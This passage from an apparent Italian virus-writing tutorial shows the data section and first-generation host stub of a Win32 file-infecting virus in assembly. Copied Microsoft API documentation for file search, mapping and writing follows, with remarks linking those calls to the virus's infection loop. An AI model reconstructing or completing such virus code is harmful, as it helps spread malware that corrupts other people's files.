"SetFilePointer",0
@SetFileAttributesA db
"SetFileAttributesA",0
@CloseHandle db
"CloseHandle",0
@GetCurrentDirectoryA db
"GetCurrentDirectoryA",0
@SetCurrentDirectoryA db
"SetCurrentDirectoryA",0
@GetWindowsDirectoryA db
"GetWindowsDirectoryA",0
@GetSystemDirectoryA db
"GetSystemDirectoryA",0
@CreateFileMappingA db
"CreateFileMappingA",0
@MapViewOfFile db
"MapViewOfFile",0
@UnmapViewOfFile
db
"UnmapViewOfFile",0
@SetEndOfFile db
"SetEndOfFile",0
db
0BBh
align dword
virus_end label byte
heap_start label byte
dd
00000000h
NewSize dd
00000000h
SearchHandle dd
00000000h
FileHandle dd 00000000h
MapHandle dd
00000000h
MapAddress dd
00000000h
AddressTableVA dd 00000000h
NameTableVA dd
00000000h
OrdinalTableVA dd 00000000h
@@Offsetz label byte
_FindFirstFileA dd 00000000h
_FindNextFileA dd 00000000h
_FindClose dd
00000000h
_CreateFileA dd
00000000h
_SetFilePointer dd 00000000h
_SetFileAttributesA dd 00000000h
_CloseHandle dd
00000000h
_GetCurrentDirectoryA dd 00000000h
_SetCurrentDirectoryA dd 00000000h
_GetWindowsDirectoryA dd 00000000h
_GetSystemDirectoryA dd 00000000h
_CreateFileMappingA dd 00000000h
_MapViewOfFile dd 00000000h
_UnmapViewOfFile dd 00000000h
_SetEndOfFile dd 00000000h
MAX_PATH equ 260
FILETIME STRUC
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
FILETIME ENDS
WIN32_FIND_DATA label byte
WFD_dwFileAttributes dd ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh dd ?
WFD_nFileSizeLow dd ?
WFD_dwReserved0 dd ?
WFD_dwReserved1 dd ?
WFD_szFileName db MAX_PATH
dup (?)
WFD_szAlternateFileName db 13 dup (?)
db
03 dup (?)
directories label byte
WindowsDir db 7Fh
dup (00h)
SystemDir
db 7Fh dup (00h)
OriginDir db 7Fh
dup (00h)
dirs2inf equ
(($-directories)/7Fh)
mirrormirror db dirs2inf
heap_end label byte
;----------------------------------------------------------------------------------------------------------------
; questi sono i
dati utilizati dal virus.
;----------------------------------------------------------------------------------------------------------------
; HOST Prima
generazione
fakehost:
pop dword
ptr fs:[0] ; pulisce
stack
add esp,4
popad
popfd
xor eax,eax ; messaggio
push eax ; di prima generazione
push offset
szTitle
push offset szMessage
push eax
call MessageBoxA
push 00h ; fine prima
generazione
call
ExitProcess
end aztec
;----------------------------------------------------------------------------------------------------------------
;----------------------------------------------------------------------------------------------------------------
2. API utilizzate
nel codice
le descrizioni
sono state prese pari pari dall’help API ufficiale della Microsoft.
----------------------------------------------------------------------------------------------
The GetWindowsDirectory function retrieves the path of the Windows dir.
The Windows directory contains such files as Windows-based applications, initialization files, and Help files.
UINT GetWindowsDirectory(
LPTSTR lpBuffer, // address of
buffer for Windows directory
UINT uSize // size of directory
buffer
)
Parameters
lpBuffer: Points to the buffer to receive the null-terminated string
containing the path. This path does not end with a backslash unless da Windows directory is the root directory. For
example, if the Windows directory
is named WINDOWS on drive C, the path of the Windows directory retrieved by
this function is C:\WINDOWS. If Windows was installed in the root directory of drive C, the path retrieved is C:\.
uSize: Specifies the maximum size, in characters, of the buffer
specified by the lpBuffer parameter. This value should be set to at least
MAX_PATH to allow sufficient room in the buffer for the path.
Return Values
If the function succeeds, the return value is the length, in chars,
of the string copied to the buffer, not
including the terminating null
character. If the length is greater than the size of the buffer, the
return value is the size of the buffer
required to hold the path.
----------------------------------------------------------------------------------------------
The GetSystemDirectory function retrieves the path of the Windows system
directory. The system directory contains such files as Windows libraries drivers, and font files.
UINT GetSystemDirectory(
LPTSTR lpBuffer, // address of
buffer for system directory
UINT uSize // size of directory
buffer
)
Parameters
lpBuffer: Points to the buffer to receive the null-terminated string
containing the path. This path does not end with a backslash unless da system directory is the root directory. For
example, if the system
directory is named WINDOWS\SYSTEM on drive C, the path of the system
directory retrieved by this function is C:\WINDOWS\SYSTEM.
uSize: Specifies the maximum size of the buffer, in characters. This
value should be set to at least MAX_PATH.
Return Values
If the function succeeds, the return value is the length, in chars,
of the string copied to the buffer, not
including the terminating null
character. If the length is greater than the size of the buffer, the
return value is the size of the buffer required to hold the path.
----------------------------------------------------------------------------------------------
The GetCurrentDirectory function retrieves the current directory for
the current process.
DWORD GetCurrentDirectory(
DWORD nBufferLength, //
size in characters, of directory buffer
LPTSTR lpBuffer // address of
buffer for current directory
)
Parameters
nBufferLength: Specifies the length, in characters, of the buffer
for the current directory string. The
buffer length must include room for a
terminating null character.
lpBuffer: Points to the buffer for the current directory string. This null-terminated
string specifies the absolute path to the current directory.
Return Values
If the function succeeds, the return value specifies the number of characters written to the buffer, not
including the terminating null
character.
----------------------------------------------------------------------------------------------
The SetCurrentDirectory function changes the current directory for the
current process.
BOOL SetCurrentDirectory(
LPCTSTR lpPathName // address of
name of new current directory
)
Parameters
lpPathName: Points to a null-terminated string that specifies the
path to the new current directory. This
parameter may be a relative path or a
fully qualified path. In either case, the fully qualified path of
the specified directory is calculated and stored as the current directory.
Return Values
If the function succeeds, the return value is nonzero.
----------------------------------------------------------------------------------------------
struttura WIN32_FIND_DATA
MAX_PATH equ 260
<-- The maximum size of a path
FILETIME
STRUC <-- Struture for
handle the time,
FT_dwLowDateTime dd ?
present in many Win32 strucs
FT_dwHighDateTime dd ?
FILETIME ENDS
WIN32_FIND_DATA
STRUC
WFD_dwFileAttributes dd ?
<-- Contains the file attributtes
WFD_ftCreationTime FILETIME
? <-- Moment when da file was
created
WFD_ftLastAccessTime FILETIME ? <-- Last time when file was accessed
WFD_ftLastWriteTime FILETIME
? <-- Last time when file was
written
WFD_nFileSizeHigh dd ?
<-- MSD of file size
WFD_nFileSizeLow dd ?
<-- LSD of file size
WFD_dwReserved0 dd ?
<-- Reserved
WFD_dwReserved1 dd ?
<-- Reserved
WFD_szFileName db MAX_PATH dup (?) <-- ASCIIz file
name
WFD_szAlternateFileName db
13 dup (?) <-- File name without path
db
03 dup (?) <-- Padding
WIN32_FIND_DATA ENDS
dwFileAttributes: Specifies the file attributes of the file found.This
member can be one or more of the following values [Not enough space for include them here:you have them at
29A INC files (29A#2) and the
document said before.]
ftCreationTime: Specifies a FILETIME structure containing the time the
file was created. FindFirstFile and
FindNextFile report file times in
Coordinated Universal Time (UTC) format. These functions set the
FILETIME members to zero if the file system containing the file does not
support this time member. You can use the FileTimeToLocalFileTime function to convert from UTC to local time,
and then use the
FileTimeToSystemTime function to convert da local time to a SYSTEMTIME structure containing individual members
for the month, day, year, weekday, hour, minute, second, and
millisecond.
ftLastAccessTime: Specifies a FILETIME structure containing the time
that the file was last accessed.The time is in UTC format the FILETIME members are zero if the file system does not
support this time member.
ftLastWriteTime: Specifies a FILETIME structure containing the time that
da file was last written to.Da time is in UTC format the FILETIME members are
zero if the file system does not support this time member.
nFileSizeHigh: Specifies the high-order DWORD value of the file size, in
bytes. This value is zero unless the file size is greater than MAXDWORD. The
size of the file is equal to (nFileSizeHigh * MAXDWORD) + nFileSizeLow.
nFileSizeLow: Specifies the low-order DWORD value of the file size,
in bytes.
dwReserved0: Reserved for future use.
dwReserved1: Reserved for future use.
cFileName: A null-terminated string that is the name of the file.
cAlternateFileName: A null-terminated string that is an alternative name
for the file.This name is in the classic 8.3 (filename.ext) filename
format.
Well, as we know now the fields of the WFD structure, we can take a deep
look to "Find" functions of Windows. First, let's see the description
of the API FindFirstFileA:
----------------------------------------------------------------------------------------------
The FindFirstFile function searches a directory for a file whose name
matches the specified filename.FindFirstFile examines subdirectory names as well as filenames.
HANDLE FindFirstFile(
LPCTSTR lpFileName, // pointer
to name of file to search for
LPWIN32_FIND_DATA lpFindFileData
// pointer to returned information
)
Parameters
lpFileName: A. Windows 95: Points to a null-terminated string that
specifies a valid directory or path and filename, which can contain wildcard characters (* and ?).
This string must not exceed MAX_PATH characters.
B. Windows NT: Points to a
null-terminated string that specifies a valid directory or path and filename,
which can contain wildcard characters (* and ?).
There is a default string size limit for paths of MAX_PATH characters.
This limit is related to how the FindFirstFile function parses
paths. An application can transcend this limit and send in paths longer
than MAX_PATH characters by calling
the wide (W) version of FindFirstFile and prepending "\\?\" to the path.The "\\?\" tells the
function to turn off path parsing it
lets paths longer than MAX_PATH be used with
FindFirstFileW. This also works with UNC names. The "\\?\" is
ignored as part of the path. For example "\\?\C:\myworld\private" is
seen as “C:\myworld\private", and
"\\?\UNC\bill_g_1\hotstuff\coolapps"is seen as "\\bill_g_1\hotstuff\coolapps"
lpFindFileData: Points to the WIN32_FIND_DATA structure that receives
information about the found file or subdirectory. The structure can be used in
subsequent calls to the FindNextFile or FindClose function to refer to the file or subdirectory.
Return Values
If the function succeeds,the return value is a search handle used in a
subsequent call to FindNextFile or FindClose.
If the function fails, the return value is INVALID_HANDLE_VALUE.To get
extended error information, call GetLastError.
----------------------------------------------------------------------------------------------
The FindNextFile function continues a file search from a previous
call to the FindFirstFile
function.
BOOL FindNextFile(
HANDLE hFindFile, // handle to
search
LPWIN32_FIND_DATA lpFindFileData
// pointer to structure for data
// on found file
)
Parameters
hFindFile: Identifies a search handle returned by a previous call
to the FindFirstFile function.
lpFindFileData: Points to the WIN32_FIND_DATA structure that receives
information about the found file or subdirectory. The structure can be used in
subsequent calls to FindNextFile to refer to the found file or directory.
Return Values
If the function succeeds, the return value is nonzero.
If the function fails, the return value is zero. To get extended
error information, call
GetLastError
If no matching files can be found, the GetLastError function
returns ERROR_NO_MORE_FILES.
If the FindNextFile returned error, or if the virus has reached the
maximum number of infections possible,we arrive to the last routine of this
block. It consist in closing the search handle with the FindClose API. As usual, here comes the description of
such API:
----------------------------------------------------------------------------------------------
The FindClose function closes the specified search handle. The
FindFirstFile and FindNextFile functions use the search handle to locate files with names that match a given
name.
BOOL FindClose(
HANDLE hFindFile // file
search handle
)
Parameters
hFindFile: Identifies the search handle. This handle must have been
previously opened by the FindFirstFile function.
Return Values
If the function succeeds, the return value is nonzero.
If the function fails, the return value is zero. To get extended
error information, call
GetLastError
----------------------------------------------------------------------------------------------
The SetFileAttributes function sets a file's attributes.
BOOL SetFileAttributes(
LPCTSTR lpFileName, // address of filename
DWORD dwFileAttributes // address
of attributes to set
)
Parameters
lpFileName: Points to a string that specifies da name of da file
whose attributes are to be set.
dwFileAttributes: Specifies da file attributes to set for da file.This
parameter can be a combination of the following values. However, all other values override
FILE_ATTRIBUTE_NORMAL.
Return Values
If the function succeeds, the return value is nonzero.
If the function fails, the return value is zero. To get extended
error information, call
GetLastError
After set the new attributes, we open the file, and, if no error
happened, it stores the handle in its variable.
----------------------------------------------------------------------------------------------
The UnmapViewOfFile function unmaps a mapped view of a file from the
calling process's address space.
BOOL UnmapViewOfFile(
LPCVOID lpBaseAddress //
address where mapped view begins
)
Parameters
lpBaseAddress: Points to the base address of the mapped view of a
file that is to be unmapped. This value
must be identical to the value returned by a previous call to the MapViewOfFile
or MapViewOfFileEx function.
Return Values
If the function succeeds, the return value is nonzero, and all dirty
pages within the specified range are written "lazily" to disk.
If the function fails, the return value is zero. To get extended
error information, call
GetLastError
----------------------------------------------------------------------------------------------
The CloseHandle function closes an open object handle.
BOOL CloseHandle(
HANDLE hObject // handle to
object to close
)
Parameters
hObject: Identifies an open object handle.
Return Values
If the function succeeds, the return value is nonzero. If the function
fails, the return value is zero. To get extended error information, call GetLastError
----------------------------------------------------------------------------------------------
DWORD SetFilePointer(
HANDLE hFile, // handle of
file
LONG lDistanceToMove, //
number of bytes to move file pointer
PLONG lpDistanceToMoveHigh, // address of high-order word of
distance
// to
move
DWORD dwMoveMethod // how to
move
)
Parameters
hFile: Identifies the file whose file pointer is to be moved. The file
handle must have been created with GENERIC_READ or GENERIC_WRITE access to the file.
lDistanceToMove: Specifies the number of bytes to move the file pointer
A positive value moves the pointer forward in the file and a negative value moves it backward.
lpDistanceToMoveHigh: Points to the high-order word of the 64-bit
distance to move.If the value of this parameter is NULL,SetFilePointer can
operate only on files whose maximum size is 2^32 - 2. If this
parameter is specified,the maximum file size is 2^64 - 2.This parameter
also receives the high-order word of the new value of the file pointer.
dwMoveMethod: Specifies the starting point for the file pointer move.
This parameter can be one of the following values:
Value
Meaning
+ FILE_BEGIN - The starting
point is zero or the beginning of the file.If FILE_BEGIN is
specified,DistanceToMove is interpreted
as an unsigned location for the new file
pointer.
+ FILE_CURRENT - The current value of the file pointer is the
starting point.
+ FILE_END - The current end-of-file
position is the starting point
Return Values
If the SetFilePointer function succeeds, the return value is the
low-order doubleword of the new file pointer, and if lpDistanceToMoveHigh is
not NULL, the function puts the high-order doubleword of the new file pointer into the LONG pointed to by
that parameter.
If the function fails and lpDistanceToMoveHigh is NULL, the return value is 0xFFFFFFFF. To get extended error
information, call GetLastError.
If the function fails, and lpDistanceToMoveHigh is non-NULL,the return
value is 0xFFFFFFFF and GetLastError will return a value other than NO_ERROR.
----------------------------------------------------------------------------------------------
The SetEndOfFile function moves the end-of-file (EOF) position for the
specified file to the current position of the file pointer.
BOOL SetEndOfFile(
HANDLE hFile // handle of
file whose EOF is to be set
)
Parameters
hFile: Identifies the file to have its EOF position moved. The file
handle must have been created with GENERIC_WRITE access to the file.
Return Values
If the function succeeds, the return value is nonzero.
If the function fails, the return value is zero. To get extended
error information, call
GetLastError
----------------------------------------------------------------------------------------------
The CreateFile function creates or opens the following objects and returns a handle that can be used to access
the object:
+ files (we are interested only in this one)
+ pipes
+ mailslots
+ communications resources
+ disk devices (Windows NT
only)
+ consoles
+ directories (open only)
HANDLE CreateFile(
LPCTSTR lpFileName, // pointer to name of the file
DWORD dwDesiredAccess, //
access (read-write) mode
DWORD dwShareMode, // share
mode
LPSECURITY_ATTRIBUTES lpSecurityAttributes, // pointer to sec.
attrib.
DWORD dwCreationDistribution,
// how to create
DWORD dwFlagsAndAttributes,
// file attributes
HANDLE hTemplateFile // handle to file with attributes to
copy
)
Parameters
lpFileName: Points to a null-terminated string that specifies the name
of the object (file, pipe, mailslot, communications resource, disk device, console, or directory) to create or
open. If *lpFileName is a path, there
is a default string size limit of
MAX_PATH characters. This limit is related to how the CreateFile
function parses paths.
dwDesiredAccess: Specifies the type of access to the object. An
application can obtain read access, write access, read-write access,or device query access.
dwShareMode: Set of bit flags that specifies how the object can be
shared. If dwShareMode is 0, the object cannot be shared. Subsequent open operations on the object will fail,
until the handle is closed.
lpSecurityAttributes: Pointer to a SECURITY_ATTRIBUTES structure that
determines whether the returned handle can be inherited by child processes. If
lpSecurityAttributes is NULL, the handle cannot be inherited.
dwCreationDistribution: Specifies which action to take on files that
exist, and which action to take when files do not exist.
dwFlagsAndAttributes: Specifies the file attributes and flags for
the file.
hTemplateFile:Specifies a handle with GENERIC_READ access to a template
file.The template file supplies file attributes and extended attributes for the
file being created. Windows 95: This value must be NULL. If you supply a handle under Windows 95, the
call fails and GetLastError returns ERROR_NOT_SUPPORTED.
Return Values
If the function succeeds, the return value is an open handle to the specified file. If the specified file exists
before the function call and dwCreationDistribution is CREATE_ALWAYS or OPEN_ALWAYS,
a call to GetLastError returns ERROR_ALREADY_EXISTS (even though the function
has succeeded). If the file does not exist before the call, GetLastError returns zero.
If the function fails, the return value is INVALID_HANDLE_VALUE.To get
extended error information, call GetLastError.
----------------------------------------------------------------------------------------------
The CreateFileMapping function creates a named or unnamed file-mapping
object for the specified file.
HANDLE CreateFileMapping(
HANDLE hFile, // handle to
file to map
LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // optional
sec.attribs
DWORD flProtect, // protection
for mapping object
DWORD dwMaximumSizeHigh, //
high-order 32 bits of object size
DWORD dwMaximumSizeLow, //
low-order 32 bits of object size
LPCTSTR lpName // name of
file-mapping object
)
Parameters
hFile: Identifies the file from which to create a mapping object. The
file must be opened with an access mode compatible with the protection flags
specified by the flProtect parameter. It is recommended, though not required, that files you intend to map
be opened for exclusive access.
If hFile is (HANDLE)0xFFFFFFFF, the calling process must also specify a
mapping object size in the dwMaximumSizeHigh and dwMaximumSizeLow
parameters.The function creates a file-mapping object of the specified size
backed by the operating-system paging file rather than by a named
file in the file system. The file-mapping object can be shared through
duplication, through inheritance, or by name.
lpFileMappingAttributes: Pointer to a SECURITY_ATTRIBUTES structure that
determines whether the returned handle can be inherited by child processes. If
lpFileMappingAttributes is NULL, the handle cannot be inherited.
flProtect: Specifies the protection desired for the file view, when the
file is mapped.
dwMaximumSizeHigh: Specifies the high-order 32 bits of the maximum size
of the file-mapping object.
dwMaximumSizeLow: Specifies the low-order 32 bits of the maximum size of
the file-mapping object. If this parameter and dwMaximumSizeHig are zero, the
maximum size of the file-mapping object is equal to the current size of the
file identified by hFile.
lpName: Points to a null-terminated string specifying the name of the
mapping object.The name can contain any character except the backslash
character (\).
If this parameter matches the name of an existing named mapping object,
the function requests access to the mapping object with the protection
specified by flProtect.
If this parameter is NULL, the mapping object is created without a
name
Return Values
If the function succeeds, the return value is a handle to the file-mapping
object. If the object existed before the function call, the GetLastError
function returns ERROR_ALREADY_EXISTS, and the return value is a valid handle to the existing file-mapping object
(with its current size, not the new specified size. If the mapping object did
not exist, GetLastError returns zero.
If the function fails, the return value is NULL. To get extended
error information, call
GetLastError
----------------------------------------------------------------------------------------------
The MapViewOfFile function maps a view of a file into the address
space of the calling process.
LPVOID MapViewOfFile(
HANDLE hFileMappingObject, //
file-mapping object to map
DWORD dwDesiredAccess, //
access mode
DWORD dwFileOffsetHigh, //
high-order 32 bits of file offset
DWORD dwFileOffsetLow, //
low-order 32 bits of file offset
DWORD dwNumberOfBytesToMap //
number of bytes to map
)
Parameters
hFileMappingObject: Identifies an open handle of a file-mapping object.
The CreateFileMapping and OpenFileMapping functions return this handle.
dwDesiredAccess: Specifies the type of access to the file view and,
therefore, the protection of the pages mapped by the file.
dwFileOffsetHigh: Specifies the high-order 32 bits of the file
offset where mapping is to begin.
dwFileOffsetLow: Specifies the low-order 32 bits of the file offset
where mapping is to begin. The combination of the high and low offsets must
specify an offset within the file that matches the system's memory allocation granularity, or the function
fails. That is, the offset must be a multiple of the allocation granularity.
Use the GetSystemInfo function, which fills in the members of a SYSTEM_INFO
structure, to obtain the system's
memory allocation granularity.
dwNumberOfBytesToMap: Specifies the number of bytes of the file to
map.If dwNumberOfBytesToMap is zero, the entire file is mapped.
Return Values
If the function succeeds, the return value is the starting address
of the mapped view.
If the function fails, the return value is NULL. To get extended
error information, call
GetLastError